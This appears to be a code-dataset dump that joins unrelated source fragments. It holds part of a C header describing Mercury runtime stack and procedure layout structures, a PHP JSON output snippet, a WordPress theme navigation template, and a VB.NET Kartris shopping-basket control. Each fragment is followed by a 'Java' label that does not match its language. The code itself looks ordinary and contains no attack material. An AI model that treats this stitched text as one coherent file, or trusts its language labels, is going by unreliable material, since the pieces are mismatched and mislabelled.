const MR_ExecTrace *exec_trace; \
int tailrec_slot; \
\
exec_trace = proc_layout->MR_sle_exec_trace; \
if (exec_trace == NULL) { \
(reused_frames) = 0; \
} else { \
tailrec_slot = proc_layout->MR_sle_maybe_tailrec; \
if (tailrec_slot <= 0) { \
(reused_frames) = 0; \
} else { \
if (MR_DETISM_DET_STACK(proc_layout->MR_sle_detism)) { \
(reused_frames) = MR_based_stackvar((sp), tailrec_slot);\
} else { \
MR_fatal_error("tailrec reuses nondet stack frames"); \
} \
} \
} \
} while (0)
// Proc layout structures contain one, two or three substructures.
//
// - The first substructure is the MR_StackTraversal structure, which contains
// information that enables the stack to be traversed, e.g. for accurate gc.
// It is always present if proc layouts are present at all.
//
// - The second group is the MR_ProcId union, which identifies the
// procedure in terms that are meaningful to both humans and machines.
// It will be generated only if the module is compiled with stack tracing,
// execution tracing or profiling. The MR_ProcId union has two alternatives,
// one for user-defined procedures and one for procedures of the compiler
// generated Unify, Index and Compare predicates.
//
// - The third group is everything else. Currently, this consists of
// information that is of interest to the debugger, to the deep profiler,
// or both.
//
// The information that is of interest to the debugger only is stored in
// the MR_ExecTrace structure, which will be generated only if the module
// is compiled with execution tracing. The information that is of interest to
// the deep profiler is stored in the MR_ProcStatic structure, which will be
// generated only if the module is compiled in a deep profiling grade. The
// other fields in the group are of interest to both the debugger and the
// deep profiler, and will be generated if either execution tracing or deep
// profiling is enabled.
//
// If the body_bytes field is NULL, it means that no representation of the
// procedure body is available. If non-NULL, it contains a pointer to an
// array of bytecodes that represents the body of the procedure. The
// bytecode array should be interpreted by the read_proc_rep predicate in
// mdbcomp/program_representation.m (it starts with an encoded form of the
// array's length). Its contents are generated by compiler/prog_rep.m.
//
// The module_common_layout field points to the part of the module layout
// structure of the module containing the procedure that is common to the
// debugger and the deep profiler. Amongst other things, it gives access to
// the string table that the body_bytes fields refers to.
//
// The runtime system considers all proc layout structures to be of type
// MR_ProcLayout, but must use the macros defined below to check for the
// existence of each substructure before accessing the fields of that
// substructure. The macros are MR_PROC_LAYOUT_HAS_PROC_ID to check for the
// MR_ProcId substructure, MR_PROC_LAYOUT_HAS_EXEC_TRACE to check for the
// MR_ExecTrace substructure, and MR_PROC_LAYOUT_HAS_PROC_STATIC to check for
// the MR_ProcStatic substructure.
//
// The reason why some substructures may be missing is to save space.
// If the options with which a module is compiled do not require execution
// tracing, then the MR_ExecTrace substructure will not present, and if the
// options do not require procedure identification, then the MR_ProcId
// substructure will not be present either. The body_bytes and module_layout
// fields cannot be non-NULL unless at least one of exec trace and proc static
// substructures is present, but they are otherwise independent of those
// substructures.
//
// The compiler itself generates proc layout structures using the following
// three types.
//
// - When generating only stack traversal information, the compiler will
// generate proc layout structures of type MR_ProcLayout_Traversal.
//
// - When generating stack traversal and procedure id information, plus
// possibly others, the compiler will generate proc layout structures of
// types MR_ProcLayoutUser and MR_ProcLayoutUCI.
struct MR_ProcLayout_Struct {
MR_StackTraversal MR_sle_traversal;
MR_ProcId MR_sle_proc_id;
MR_STATIC_CODE_CONST MR_ExecTrace *MR_sle_exec_trace;
MR_ProcStatic *MR_sle_proc_static;
const MR_uint_least8_t *MR_sle_body_bytes;
const MR_ModuleLayout *MR_sle_module_layout;
};
typedef struct MR_ProcLayoutUser_Struct {
MR_StackTraversal MR_user_traversal;
MR_UserProcId MR_user_id;
MR_STATIC_CODE_CONST MR_ExecTrace *MR_sle_exec_trace;
MR_ProcStatic *MR_sle_proc_static;
const MR_uint_least8_t *MR_sle_body_bytes;
const MR_ModuleLayout *MR_sle_module_layout;
} MR_ProcLayoutUser;
typedef struct MR_ProcLayoutUCI_Struct {
MR_StackTraversal MR_uci_traversal;
MR_UCIProcId MR_uci_id;
MR_STATIC_CODE_CONST MR_ExecTrace *MR_sle_exec_trace;
MR_ProcStatic *MR_sle_proc_static;
const MR_uint_least8_t *MR_sle_body_bytes;
const MR_ModuleLayout *MR_sle_module_layout;
} MR_ProcLayoutUCI;
typedef struct MR_ProcLayout_Traversal_Struct {
MR_StackTraversal MR_trav_traversal;
MR_Word MR_trav_no_proc_id; // will be -1
} MR_ProcLayout_Traversal;
#define MR_PROC_LAYOUT_HAS_PROC_ID(entry) \
(MR_PROC_ID_EXISTS(entry->MR_sle_proc_id))
#define MR_PROC_LAYOUT_HAS_EXEC_TRACE(entry) \
(MR_PROC_LAYOUT_HAS_PROC_ID(entry) && \
entry->MR_sle_exec_trace != NULL)
#define MR_PROC_LAYOUT_HAS_PROC_STATIC(entry) \
(MR_PROC_LAYOUT_HAS_PROC_ID(entry) && \
entry->MR_sle_proc_static != NULL)
#define MR_PROC_LAYOUT_HAS_THIRD_GROUP(entry) \
(MR_PROC_LAYOUT_HAS_PROC_ID(entry) && \
( entry->MR_sle_exec_trace != NULL \
|| entry->MR_sle_proc_static != NULL))
#define MR_sle_code_addr MR_sle_traversal.MR_trav_code_addr
#define MR_sle_succip_locn MR_sle_traversal.MR_trav_succip_locn
#define MR_sle_stack_slots MR_sle_traversal.MR_trav_stack_slots
#define MR_sle_detism MR_sle_traversal.MR_trav_detism
#define MR_sle_user MR_sle_proc_id.MR_proc_user
#define MR_sle_uci MR_sle_proc_id.MR_proc_uci
#define MR_sle_call_label MR_sle_exec_trace->MR_exec_call_label
#define MR_sle_module_layout MR_sle_exec_trace->MR_exec_module_layout
#define MR_sle_labels MR_sle_exec_trace->MR_exec_labels
#define MR_sle_num_labels MR_sle_exec_trace->MR_exec_num_labels
#define MR_sle_tabling_pointer MR_sle_exec_trace->MR_exec_tabling_pointer
#define MR_sle_table_info MR_sle_exec_trace->MR_exec_table_info
#define MR_sle_head_var_nums MR_sle_exec_trace->MR_exec_head_var_nums
#define MR_sle_num_head_vars MR_sle_exec_trace->MR_exec_num_head_vars
#define MR_sle_used_var_names MR_sle_exec_trace->MR_exec_used_var_names
#define MR_sle_max_named_var_num MR_sle_exec_trace->MR_exec_max_named_var_num
#define MR_sle_max_r_num MR_sle_exec_trace->MR_exec_max_r_num
#define MR_sle_max_f_num MR_sle_exec_trace->MR_exec_max_f_num
#define MR_sle_maybe_from_full MR_sle_exec_trace->MR_exec_maybe_from_full
#define MR_sle_maybe_io_seq MR_sle_exec_trace->MR_exec_maybe_io_seq
#define MR_sle_maybe_trail MR_sle_exec_trace->MR_exec_maybe_trail
#define MR_sle_maybe_maxfr MR_sle_exec_trace->MR_exec_maybe_maxfr
#define MR_sle_maybe_call_table MR_sle_exec_trace->MR_exec_maybe_call_table
#define MR_sle_maybe_decl_debug MR_sle_exec_trace->MR_exec_maybe_decl_debug
#define MR_sle_maybe_tailrec MR_sle_exec_trace->MR_exec_maybe_tail_rec
#define MR_sle_eval_method(proc_layout_ptr) \
((MR_EvalMethod) (proc_layout_ptr)-> \
MR_sle_exec_trace->MR_exec_eval_method_CAST_ME)
#define MR_sle_trace_level(proc_layout_ptr) \
((MR_TraceLevel) (proc_layout_ptr)-> \
MR_sle_exec_trace->MR_exec_trace_level_CAST_ME)
#define MR_proc_has_io_state_pair(proc_layout_ptr) \
((proc_layout_ptr)->MR_sle_exec_trace->MR_exec_flags \
& MR_PROC_LAYOUT_FLAG_HAS_IO_STATE_PAIR)
#define MR_proc_has_higher_order_arg(proc_layout_ptr) \
((proc_layout_ptr)->MR_sle_exec_trace->MR_exec_flags \
& MR_PROC_LAYOUT_FLAG_HAS_HIGHER_ORDER_ARG)
// Adjust the arity of functions for printing.
#define MR_sle_user_adjusted_arity(entry) \
((entry)->MR_sle_user.MR_user_arity - \
(((entry)->MR_sle_user.MR_user_pred_or_func == MR_FUNCTION) ? 1 : 0))
#define MR_MAX_VARNAME_SIZE 160
// Return the name (if any) of the variable with the given HLDS variable number
// in the procedure indicated by the first argument.
//
// The name will actually be found by MR_name_in_string_table, so the
// comments there about name size and should_copy apply here as well.
extern MR_ConstString MR_hlds_var_name(const MR_ProcLayout *entry,
int hlds_var_num, int *should_copy);
// Return the name (if any) of the variable with the given name code
// in the given string table.
//
// Sometimes, the returned name will point to static, const storage,
// whose contents are valid until the end of the program's execution,
// while at other times, it will point to a buffer whose contents
// will be valid only until the next call to MR_name_in_string_table.
//
// Callers that want to know which is the case should pass a non-NULL
// value for should_copy. The returned name will point to the buffer
// if and only if *should_copy is true. The size of the buffer is
// MR_MAX_VARNAME_SIZE bytes.
extern MR_ConstString MR_name_in_string_table(const char *string_table,
MR_Integer string_table_size,
MR_uint_least32_t name_code, int *should_copy);
// Given a string, see whether its end consists a sequence of digits.
// If yes, return the offset of the first digit in this sequence relative
// to the start of the string. Otherwise, return a negative number.
extern int MR_find_start_of_num_suffix(const char *str);
// Define a layout structure for a procedure, containing information
// for stack traversal and procedure identification.
//
// The slot count and the succip location parameters do not have to be
// supplied for procedures that live on the nondet stack, since for such
// procedures the size of the frame can be deduced from the prevfr field
// and the location of the succip is fixed.
//
// An unknown slot count should be signalled by MR_PROC_NO_SLOT_COUNT.
// An unknown succip location should be signalled by MR_LONG_LVAL_TYPE_UNKNOWN.
//
// For the procedure identification, we always use the same module name
// for the defining and declaring modules, since procedures whose code
// is hand-written as C modules cannot be inlined in other Mercury modules.
//
// Due to the possibility that code addresses are not static, any use of
// the MR_MAKE_PROC_ID_PROC_LAYOUT macro has to be accompanied by a call to the
// MR_INIT_PROC_LAYOUT_ADDR macro in the initialization code of the C module
// that defines the entry. (The cast in the body of MR_INIT_PROC_LAYOUT_ADDR
// is needed because compiler-generated layout structures may use any of the
// variant types listed above.)
#define MR_PROC_NO_SLOT_COUNT -1
#ifdef MR_STATIC_CODE_ADDRESSES
#define MR_MAKE_PROC_LAYOUT_ADDR(entry) MR_ENTRY(entry)
#define MR_INIT_PROC_LAYOUT_ADDR(entry) do { } while (0)
#else
#define MR_MAKE_PROC_LAYOUT_ADDR(entry) ((MR_Code *) NULL)
#define MR_INIT_PROC_LAYOUT_ADDR(entry) \
do { \
((MR_ProcLayout *) & \
MR_PASTE2(mercury_data__proc_layout__, entry)) \
->MR_sle_code_addr = MR_ENTRY(entry); \
} while (0)
#endif
#define MR_MAKE_USER_PROC_STATIC_PROC_LAYOUT(sc, detism, slots, succip_locn, \
pf, module, name, arity, mode, proc_static) \
MR_declare_entry(MR_proc_entry_user_name(module, name, \
arity, mode)); \
sc const MR_ProcLayoutUser \
MR_proc_layout_user_name(module, name, arity, mode) = { \
{ \
MR_MAKE_PROC_LAYOUT_ADDR( \
MR_proc_entry_user_name(module, name, \
arity, mode)), \
succip_locn, \
slots, \
detism \
}, \
{ \
pf, \
MR_STRINGIFY(module), \
MR_STRINGIFY(module), \
MR_STRINGIFY(name), \
arity, \
mode \
}, \
NULL, \
(MR_ProcStatic *) proc_static \
}
#define MR_MAKE_UCI_PROC_STATIC_PROC_LAYOUT(sc, detism, slots, succip_locn, \
module, name, type, arity, mode, proc_static) \
MR_declare_entry(MR_proc_entry_uci_name(module, name, \
type, arity, mode)); \
sc const MR_ProcLayoutUCI \
MR_proc_layout_uci_name(module, name, type, arity, mode) = { \
{ \
MR_MAKE_PROC_LAYOUT_ADDR( \
MR_proc_entry_uci_name(module, name, \
type, arity, mode)), \
succip_locn, \
slots, \
detism \
}, \
{ \
MR_STRINGIFY(type), \
MR_STRINGIFY(module), \
MR_STRINGIFY(module), \
MR_STRINGIFY(name), \
arity, \
mode \
}, \
NULL, \
(MR_ProcStatic *) proc_static \
}
#define MR_NO_EXTERN_DECL
#define MR_STATIC_USER_PROC_STATIC_PROC_LAYOUT(detism, slots, succip_locn, \
pf, module, name, arity, mode) \
MR_MAKE_USER_PROC_STATIC_PROC_LAYOUT(static, detism, slots, \
succip_locn, pf, module, name, arity, mode, \
&MR_proc_static_user_name(module, name, arity, mode))
#define MR_EXTERN_USER_PROC_STATIC_PROC_LAYOUT(detism, slots, succip_locn, \
pf, module, name, arity, mode) \
MR_MAKE_USER_PROC_STATIC_PROC_LAYOUT(MR_NO_EXTERN_DECL, detism, slots, \
succip_locn, pf, module, name, arity, mode, \
&MR_proc_static_user_name(module, name, arity, mode))
#define MR_STATIC_UCI_PROC_STATIC_PROC_LAYOUT(detism, slots, succip_locn, \
module, name, type, arity, mode) \
MR_MAKE_UCI_PROC_STATIC_PROC_LAYOUT(static, detism, slots, \
succip_locn, module, name, type, arity, mode, \
&MR_proc_static_uci_name(module, name, type, arity, mode))
#define MR_EXTERN_UCI_PROC_STATIC_PROC_LAYOUT(detism, slots, succip_locn, \
module, name, type, arity, mode) \
MR_MAKE_UCI_PROC_STATIC_PROC_LAYOUT(MR_NO_EXTERN_DECL, detism, slots, \
succip_locn, module, name, type, arity, mode, \
&MR_proc_static_uci_name(module, name, type, arity, mode))
#define MR_STATIC_USER_PROC_ID_PROC_LAYOUT(detism, slots, succip_locn, \
pf, module, name, arity, mode) \
MR_MAKE_USER_PROC_STATIC_PROC_LAYOUT(static, detism, slots, \
succip_locn, pf, module, name, arity, mode, NULL)
#define MR_EXTERN_USER_PROC_ID_PROC_LAYOUT(detism, slots, succip_locn, \
pf, module, name, arity, mode) \
MR_MAKE_USER_PROC_STATIC_PROC_LAYOUT(MR_NO_EXTERN_DECL, detism, slots, \
succip_locn, pf, module, name, arity, mode, NULL)
#define MR_DECLARE_UCI_PROC_STATIC_LAYOUTS(mod, n, a) \
const MR_ProcLayoutUCI \
MR_proc_layout_uci_name(mod, __Unify__, n, a, 0); \
const MR_ProcLayoutUCI \
MR_proc_layout_uci_name(mod, __Compare__, n, a, 0); \
const MR_ProcLayoutUCI \
MR_proc_layout_uci_name(mod, __CompareRep__, n, a, 0);
// In procedures compiled with execution tracing, three items are stored
// in stack slots with fixed numbers. They are:
//
// the event number of the last event before the call event,
// the call number, and
// the call depth.
//
// Note that the first slot does not store the number of the call event
// itself, but rather the number of the call event minus one. The reason
// for this is that (a) incrementing the number stored in this slot would
// increase executable size, and (b) if the procedure is shallow traced,
// MR_trace may not be called for the call event, so we cannot shift the
// burden of initializing fields to the MR_trace of the call event either.
//
// The following macros will access the fixed slots. They can be used whenever
// MR_PROC_LAYOUT_HAS_EXEC_TRACE(entry) is true; which set you should use
// depends on the determinism of the procedure.
//
// These macros have to be kept in sync with compiler/trace.m.
#define MR_event_num_framevar(base_curfr) MR_based_framevar(base_curfr, 1)
#define MR_call_num_framevar(base_curfr) MR_based_framevar(base_curfr, 2)
#define MR_call_depth_framevar(base_curfr) MR_based_framevar(base_curfr, 3)
#define MR_event_num_stackvar(base_sp) MR_based_stackvar(base_sp, 1)
#define MR_call_num_stackvar(base_sp) MR_based_stackvar(base_sp, 2)
#define MR_call_depth_stackvar(base_sp) MR_based_stackvar(base_sp, 3)
// In model_non procedures compiled with --trace-redo, one or two other items
// are stored in fixed stack slots. These are
//
// the address of the layout structure for the redo event
// the saved copy of the from-full flag (only if trace level is shallow)
//
// The following macros will access these slots. They should be used only from
// within the code that calls MR_trace for the REDO event.
//
// This macros have to be kept in sync with compiler/trace.m.
#define MR_redo_layout_framevar(base_curfr) MR_based_framevar(base_curfr, 4)
#define MR_redo_fromfull_framevar(base_curfr) MR_based_framevar(base_curfr, 5)
////////////////////////////////////////////////////////////////////////////
// Definitions for MR_ModuleLayout.
//
// The layout structure for a module contains the following fields.
//
// The MR_ml_name field contains the name of the module.
//
// The MR_ml_string_table field contains the module's string table, which
// contains strings referred to by other layout structures in the module
// (initially only the tables containing variables names, referred to from
// label layout structures). The MR_ml_string_table_size field gives the size
// of the table in bytes.
//
// The MR_ml_procs field points to an array containing pointers to the proc
// layout structures of all the procedures in the module; the MR_ml_proc_count
// field gives the number of entries in the array.
//
// The MR_ml_module_file_layout field points to an array of N file layout
// pointers if the module has labels corresponding to contexts that refer
// to the names of N files. For each file, the table gives its name, the
// number of labels in that file in this module, and for each such label,
// it gives its line number and a pointer to its label layout struct.
// The corresponding elements of the label_lineno and label_layout arrays
// refer to the same label. (The reason why they are not stored together
// is space efficiency; adding a 16 bit field to a label layout structure would
// require padding.) The labels are sorted on line number.
//
// The MR_ml_trace_level field gives the trace level that the module was
// compiled with. If the MR_TraceLevel enum is modified, then the
// corresponding function in compiler/trace_params.m must also be updated.
//
// The MR_ml_suppressed_events events field encodes the set of event types
// (ports) that were suppressed when generating code for this module. The bit
// given by the expression (1 << MR_PORT_<PORTTYPE>) will be set in this
// integer iff trace port MR_PORT_<PORTTYPE> is suppressed.
//
// The MR_ml_label_exec_count field points to an array of integers, with each
// integer holding the number of times execution has reached a given label.
// Each label's layout structure records the index of that label in this array.
// The most direct way to go the other way, to find out which label owns a
// particular slot in this array, is to search the label arrays in the file
// layout structures, and test their MR_sll_label_num_in_module fields.
// (If we needed faster access, we could add another array with elements
// corresponding to MR_ml_label_exec_count's pointing to the labels' layout
// structures.)
//
// The MR_ml_num_label_exec_counts field contains the number of elements
// in the MR_ml_label_exec_count array.
typedef struct MR_ModuleFileLayout_Struct {
MR_ConstString MR_mfl_filename;
MR_Integer MR_mfl_label_count;
// The following fields point to arrays of size MR_mfl_label_count.
const MR_int_least16_t *MR_mfl_label_lineno;
const MR_LabelLayout **MR_mfl_label_layout;
} MR_ModuleFileLayout;
// The version of the data structures in this file -- useful for bootstrapping.
// If you write runtime code that checks this version number and can at least
// handle the previous version of the data structure, it makes it easier to
// bootstrap changes to these data structures.
//
// This number should be kept in sync with layout_version_number in
// compiler/layout_out.m.
#define MR_LAYOUT_VERSION MR_LAYOUT_VERSION__OISU
#define MR_LAYOUT_VERSION__USER_DEFINED 1
#define MR_LAYOUT_VERSION__EVENTSETNAME 2
#define MR_LAYOUT_VERSION__SYNTH_ATTR 3
#define MR_LAYOUT_VERSION__COMMON 4
#define MR_LAYOUT_VERSION__OISU 5
struct MR_ModuleLayout_Struct {
// The fields that are of interest to both deep profiling and debugging.
MR_uint_least8_t MR_ml_version_number;
MR_ConstString MR_ml_name;
MR_Integer MR_ml_string_table_size;
const char *MR_ml_string_table;
// The fields that are of interest only to deep profiling.
MR_Integer MR_ml_num_oisu_types;
const MR_uint_least8_t *MR_ml_oisu_bytes;
MR_Integer MR_ml_num_table_types;
const MR_uint_least8_t *MR_ml_type_table_bytes;
// The fields that are of interest only to debugging.
MR_Integer MR_ml_proc_count;
const MR_ProcLayout **MR_ml_procs;
MR_Integer MR_ml_filename_count;
const MR_ModuleFileLayout **MR_ml_module_file_layout;
MR_TraceLevel MR_ml_trace_level;
MR_int_least32_t MR_ml_suppressed_events;
MR_int_least32_t MR_ml_num_label_exec_counts;
MR_Unsigned *MR_ml_label_exec_count;
const char *MR_ml_user_event_set_name;
const char *MR_ml_user_event_set_desc;
MR_int_least16_t MR_ml_user_event_max_num_attr;
MR_int_least16_t MR_ml_num_user_event_specs;
MR_UserEventSpec *MR_ml_user_event_specs;
};
////////////////////////////////////////////////////////////////////////////
// Definitions for MR_ClosureId.
//
// Each closure contains an MR_ClosureId structure. The proc_id field
// identifies the procedure called by the closure. The other fields identify
// the context where the closure was created.
//
// The compiler generates closure id structures as either MR_UserClosureId
// or MR_UCIClosureId structures in order to avoid initializing the
// MR_ProcId union through an inappropriate member.
struct MR_ClosureId_Struct {
MR_ProcId MR_closure_proc_id;
MR_ConstString MR_closure_module_name;
MR_ConstString MR_closure_file_name;
MR_Integer MR_closure_line_number;
MR_ConstString MR_closure_goal_path;
};
struct MR_UserClosureId_Struct {
MR_UserProcId MR_user_closure_proc_id;
MR_ConstString MR_user_closure_module_name;
MR_ConstString MR_user_closure_file_name;
MR_Integer MR_user_closure_line_number;
MR_ConstString MR_user_closure_goal_path;
};
struct MR_UCIClosureId_Struct {
MR_UCIProcId MR_uci_closure_proc_id;
MR_ConstString MR_uci_closure_module_name;
MR_ConstString MR_uci_closure_file_name;
MR_Integer MR_uci_closure_line_number;
MR_ConstString MR_uci_closure_goal_path;
};
#endif // not MERCURY_STACK_LAYOUT_H
| Java |
<?php
// flush output buffer
die(json_encode(array(
'variables' => $variables,
'content' => render($page['content']) . render($page['content_bottom']),
)));
?> | Java |
<?php
$logo = get_option('custom_logo', EBOR_THEME_DIRECTORY . 'style/img/logo-dark.png');
$logo_light = get_option('custom_logo_light', EBOR_THEME_DIRECTORY . 'style/img/logo-light.png');
?>
<div class="nav-container">
<a id="top"></a>
<nav class="nav-centered">
<?php get_template_part('inc/content-header','utility'); ?>
<div class="text-center">
<a href="<?php echo esc_url(home_url('/')); ?>">
<img class="logo logo-light" alt="<?php echo esc_attr(get_bloginfo('title')); ?>" src="<?php echo esc_url($logo_light); ?>" />
<img class="logo logo-dark" alt="<?php echo esc_attr(get_bloginfo('title')); ?>" src="<?php echo esc_url($logo); ?>" />
</a>
</div>
<div class="nav-bar text-center">
<div class="module widget-handle mobile-toggle right visible-sm visible-xs">
<i class="ti-menu"></i>
</div>
<div class="module-group text-left">
<div class="module left">
<?php
if ( has_nav_menu( 'primary' ) ){
wp_nav_menu(
array(
'theme_location' => 'primary',
'depth' => 3,
'container' => false,
'container_class' => false,
'menu_class' => 'menu',
'fallback_cb' => 'wp_bootstrap_navwalker::fallback',
'walker' => new ebor_framework_medium_rare_bootstrap_navwalker()
)
);
} else {
echo '<ul class="menu"><li><a href="'. admin_url('nav-menus.php') .'">Set up a navigation menu now</a></li></ul>';
}
?>
</div>
<?php
if( 'yes' == get_option('foundry_header_social', 'no') ){
get_template_part('inc/content-header', 'social');
}
if( 'yes' == get_option('foundry_header_button', 'no') ){
get_template_part('inc/content-header', 'button');
}
if( 'yes' == get_option('foundry_header_search', 'yes') ){
get_template_part('inc/content-header', 'search');
}
if( class_exists('Woocommerce') && 'yes' == get_option('foundry_header_cart', 'yes') ){
get_template_part('inc/content-header', 'cart');
}
if( function_exists('icl_get_languages') && 'yes' == get_option('foundry_header_wpml', 'yes') ){
get_template_part('inc/content-header', 'wpml');
}
?>
</div>
</div>
</nav>
</div> | Java |
'========================================================================
'Kartris - www.kartris.com
'Copyright 2021 CACTUSOFT
'GNU GENERAL PUBLIC LICENSE v2
'This program is free software distributed under the GPL without any
'warranty.
'www.gnu.org/licenses/gpl-2.0.html
'KARTRIS COMMERCIAL LICENSE
'If a valid license.config issued by Cactusoft is present, the KCL
'overrides the GPL v2.
'www.kartris.com/t-Kartris-Commercial-License.aspx
'========================================================================
Imports System.Collections.Generic
Imports System.Threading
Imports System.Globalization
Imports CkartrisBLL
Imports KartSettingsManager
Partial Class Back_BasketView
Inherits System.Web.UI.UserControl
Protected Shared BSKT_CustomerDiscount As Double
Private Shared arrPromotionsDiscount As New ArrayList
Protected objCurrency As New CurrenciesBLL
Protected objItem As New BasketItem
Protected blnAdjusted As Boolean
Protected SESS_CurrencyID As Integer
Protected APP_PricesIncTax, APP_ShowTaxDisplay, APP_USMultiStateTax As Boolean
Private arrPromotions As New List(Of Kartris.Promotion)
Private _objShippingDetails As Interfaces.objShippingDetails
Private _ViewType As BasketBLL.VIEW_TYPE = BasketBLL.VIEW_TYPE.MAIN_BASKET
Private _ViewOnly As Boolean
Private _UserID As Integer 'we send in the customer ID
Private blnShowPromotion As Boolean = True
Public Shared ReadOnly Property Basket() As kartris.Basket
Get
If HttpContext.Current.Session("Basket") Is Nothing Then HttpContext.Current.Session("Basket") = New Kartris.Basket
Return HttpContext.Current.Session("Basket")
End Get
End Property
Public Shared Property BasketItems() As List(Of Kartris.BasketItem)
Get
If HttpContext.Current.Session("BasketItems") Is Nothing Then HttpContext.Current.Session("BasketItems") = New List(Of Kartris.BasketItem)
Return HttpContext.Current.Session("BasketItems")
End Get
Set(ByVal value As List(Of Kartris.BasketItem))
HttpContext.Current.Session("BasketItems") = value
End Set
End Property
Public ReadOnly Property GetBasket() As kartris.Basket
Get
Return Basket
End Get
End Property
Public ReadOnly Property GetBasketItems() As List(Of Kartris.BasketItem)
Get
Return BasketItems
End Get
End Property
Public ReadOnly Property GetPromotionsDiscount() As ArrayList
Get
Return arrPromotionsDiscount
End Get
End Property
Public Property ViewType() As BasketBLL.VIEW_TYPE
Get
Return _ViewType
End Get
Set(ByVal value As BasketBLL.VIEW_TYPE)
_ViewType = value
End Set
End Property
Public Property ViewOnly() As Boolean
Get
Return _ViewOnly
End Get
Set(ByVal value As Boolean)
_ViewOnly = value
End Set
End Property
Public WriteOnly Property UserID() As Integer
Set(ByVal value As Integer)
_UserID = value
End Set
End Property
Public Property ShippingDetails() As Interfaces.objShippingDetails
Get
_objShippingDetails = Session("_ShippingDetails")
If _objShippingDetails IsNot Nothing Then
_objShippingDetails.ShippableItemsTotalWeight = Basket.ShippingTotalWeight
_objShippingDetails.ShippableItemsTotalPrice = Basket.ShippingTotalExTax
End If
Return _objShippingDetails
End Get
Set(ByVal value As Interfaces.objShippingDetails)
_objShippingDetails = value
_objShippingDetails.ShippableItemsTotalWeight = Basket.ShippingTotalWeight
_objShippingDetails.ShippableItemsTotalPrice = Basket.ShippingTotalExTax
Session("_ShippingDetails") = _objShippingDetails
End Set
End Property
Public Property ShippingDestinationID() As Integer
Get
If Session("_ShippingDestinationID") Is Nothing Then
Return 0
Else
Return Session("_ShippingDestinationID")
End If
End Get
Set(ByVal value As Integer)
Session("_ShippingDestinationID") = value
Session("numShippingCountryID") = value
End Set
End Property
Public ReadOnly Property ShippingBoundary() As Double
Get
If GetKartConfig("frontend.checkout.shipping.calcbyweight") = "y" Then
Return Basket.ShippingTotalWeight
Else
If KartSettingsManager.GetKartConfig("general.tax.pricesinctax") = "y" Then
Return Basket.ShippingTotalExTax
Else
Return Basket.ShippingTotalIncTax
End If
End If
End Get
End Property
Public ReadOnly Property SelectedShippingID() As Integer
Get
Return UC_ShippingMethodsDropdown.SelectedShippingID
End Get
End Property
Public ReadOnly Property SelectedShippingAmount() As Double
Get
Return UC_ShippingMethodsDropdown.SelectedShippingAmount
End Get
End Property
Public ReadOnly Property SelectedShippingMethod() As String
Get
Return Basket.ShippingName
End Get
End Property
Private Property CouponCode() As String
Get
Return Session("CouponCode") & ""
End Get
Set(ByVal value As String)
Session("CouponCode") = value
End Set
End Property
Public Event ItemQuantityChanged()
Sub LoadBasket()
SESS_CurrencyID = Session("CUR_ID")
Dim blnIsInCheckout As Boolean = True
Basket.DB_C_CustomerID = _UserID
Call Basket.LoadBasketItems()
BasketItems = Basket.BasketItems
If BasketItems.Count = 0 Then
litBasketEmpty.Text = GetGlobalResourceObject("Basket", "ContentText_BasketEmpty")
Else
litBasketEmpty.Text = ""
phdBasket.Visible = True
End If
Call Basket.Validate(False)
rptBasket.DataSource = BasketItems
rptBasket.DataBind()
Call Basket.CalculateTotals()
Call BasketBLL.CalculatePromotions(Basket, arrPromotions, arrPromotionsDiscount, (APP_PricesIncTax = False And APP_ShowTaxDisplay = False))
Dim strCouponError As String = ""
Call BasketBLL.CalculateCoupon(Basket, CouponCode & "", strCouponError, (APP_PricesIncTax = False And APP_ShowTaxDisplay = False))
BSKT_CustomerDiscount = BasketBLL.GetCustomerDiscount(_UserID)
Call BasketBLL.CalculateCustomerDiscount(Basket, BSKT_CustomerDiscount)
Call BasketBLL.CalculateOrderHandlingCharge(Basket, Session("numShippingCountryID"))
phdShipping.Visible = True
UC_ShippingMethodsDropdown.Visible = True
If blnIsInCheckout Then
SetShipping(UC_ShippingMethodsDropdown.SelectedShippingID, UC_ShippingMethodsDropdown.SelectedShippingAmount, ShippingDestinationID)
End If
If Basket.OrderHandlingPrice.IncTax = 0 Then phdOrderHandling.Visible = False Else phdOrderHandling.Visible = True
Try
phdOutOfStockElectronic.Visible = Basket.AdjustedForElectronic
phdOutOfStock.Visible = Basket.AdjustedQuantities
Catch ex As Exception
End Try
Session("Basket") = Basket
End Sub
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
SESS_CurrencyID = Session("CUR_ID")
If ConfigurationManager.AppSettings("TaxRegime").ToLower = "us" Or ConfigurationManager.AppSettings("TaxRegime").ToLower = "simple" Then
APP_PricesIncTax = False
APP_ShowTaxDisplay = False
APP_USMultiStateTax = True
Else
APP_PricesIncTax = LCase(GetKartConfig("general.tax.pricesinctax")) = "y"
'For checkout, we show tax if showtax is set to 'y' or 'c'.
'For other pages, only if it is set to 'y'.
APP_ShowTaxDisplay = LCase(GetKartConfig("frontend.display.showtax")) = "y"
APP_USMultiStateTax = False
End If
litError.Text = ""
If Not (IsPostBack) Then
Call LoadBasket()
Else
If Basket.OrderHandlingPrice.IncTax = 0 Then phdOrderHandling.Visible = False Else phdOrderHandling.Visible = True
End If
updPnlMainBasket.Update()
End Sub
Protected Sub Page_PreRender(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreRender
If ViewType = BasketBLL.VIEW_TYPE.MAIN_BASKET Then
phdMainBasket.Visible = True
phdControls.Visible = True
phdBasketButtons.Visible = True
ElseIf ViewType = BasketBLL.VIEW_TYPE.CHECKOUT_BASKET Then
phdControls.Visible = False
If Not _ViewOnly Then phdShippingSelection.Visible = True
End If
If ViewType = BasketBLL.VIEW_TYPE.CHECKOUT_BASKET And ViewOnly Then
rptBasket.DataSource = BasketItems
rptBasket.DataBind()
End If
phdMainBasket.Visible = True
phdControls.Visible = True
phdBasketButtons.Visible = True
blnShowPromotion = True
phdPromotions.Visible = True
rptPromotions.DataSource = arrPromotions
rptPromotions.DataBind()
phdPromotions.Visible = IIf(arrPromotions.Count > 0 And blnShowPromotion, True, False)
rptPromotionDiscount.DataSource = arrPromotionsDiscount
rptPromotionDiscount.DataBind()
phdPromotionDiscountHeader.Visible = IIf(arrPromotionsDiscount.Count > 0, True, False)
If BasketItems Is Nothing OrElse BasketItems.Count = 0 Then
phdBasket.Visible = False
End If
If UC_ShippingMethodsDropdown.SelectedShippingID > 0 Then
phdShippingTax.Visible = True
phdShippingTaxHide.Visible = False
Else
phdShippingTax.Visible = False
phdShippingTaxHide.Visible = True
End If
Session("Basket") = Basket
End Sub
